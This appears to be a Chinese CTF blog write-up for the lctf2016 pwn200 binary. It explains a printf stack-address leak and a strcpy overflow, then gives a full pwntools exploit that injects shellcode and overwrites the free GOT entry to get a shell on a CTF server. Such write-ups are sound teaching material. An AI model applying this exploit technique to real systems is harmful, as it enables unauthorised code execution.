lctf2016_pwn200【write up】

lctf2016_pwn200

惯例我们先来checksec一下

啥都没开 考虑手写shellcode执行

请添加图片描述

放进ida64里看看

main函数没啥含金量我们这里就不放了 只是set_buf后call vuln函数

vuln函数中存在我们的第一个泄漏点0x30的长度足够我们写入shellcode 同时当我们把v2填满时 printf会帮我们泄露出rbp中存储的main_rbp的值

请添加图片描述

当我们此处写入数字是就会正常返回执行sub400_a29

请添加图片描述

第二个漏洞点在这里

此处的strcpy函数存在栈溢出漏洞

请添加图片描述

那么我们的思路就很清晰了

先将shellcode写入栈上然后将栈填满进而利用printf函数泄露出我们main_rbp利用main_rbp我们可以通过计算便宜的到我们的shellcode_addr 然后我们利用sub400_a29中的漏洞将shellcode_addr填入buf中然后将dest覆盖为free_got的地址

exp:

from pwn import *
io=remote('node4.buuoj.cn',28550)
#io=process('./pwn200')
elf=ELF('./pwn200')
free_got=elf.got['free']
context.log_level='debug'
context.arch='amd64'

shellcode = asm(shellcraft.sh()).ljust(0x30,'a')
io.sendafter('u?\n',shellcode)

main_rbp= u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
shellcode_addr=main_rbp-0x50
io.recvuntil('id ~~?')
io.sendline('1')
io.recvuntil('money~')
payload=p64(shellcode_addr)+'a'*0x30+p64(free_got)
io.sendline(payload)
io.recvuntil('choice :')
io.sendline('2')
io.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值